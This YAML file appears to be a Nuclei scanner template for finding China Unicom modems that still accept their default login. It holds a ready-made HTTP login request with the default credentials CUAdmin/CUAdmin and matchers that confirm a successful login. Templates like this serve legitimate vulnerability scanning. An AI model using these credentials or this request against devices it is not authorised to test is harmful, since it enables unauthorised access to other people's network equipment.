id: chinaunicom-default-login

info:
  name: China Unicom Modem Default Login
  author: princechaddha
  severity: high
  description: Default login credentials were discovered for a China Unicom modem.
  classification:
    cwe-id: CWE-798
  metadata:
    max-request: 1
  tags: chinaunicom,default-login,vuln

http:
  - raw:
      - |
        POST /cu.html HTTP/1.1
        Host: {{Hostname}}

        frashnum=&action=login&Frm_Logintoken=1&Username={{username}}&Password={{password}}&Username=&Password=

    attack: pitchfork
    payloads:
      username:
        - CUAdmin
      password:
        - CUAdmin

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 302

      - type: word
        words:
          - "/menu.gch"
        part: header
# digest: 4a0a00473045022100a67abc1470907a5aa30093e7fe3b96a2d339f89f6cb2d04b4b6cb5ad242b8e5302205159eb24ccfa4a0bdacf2b0d5a62b290f6def90a448033838d302bc32abc5010:922c64590222798bb761d5b6d8e72950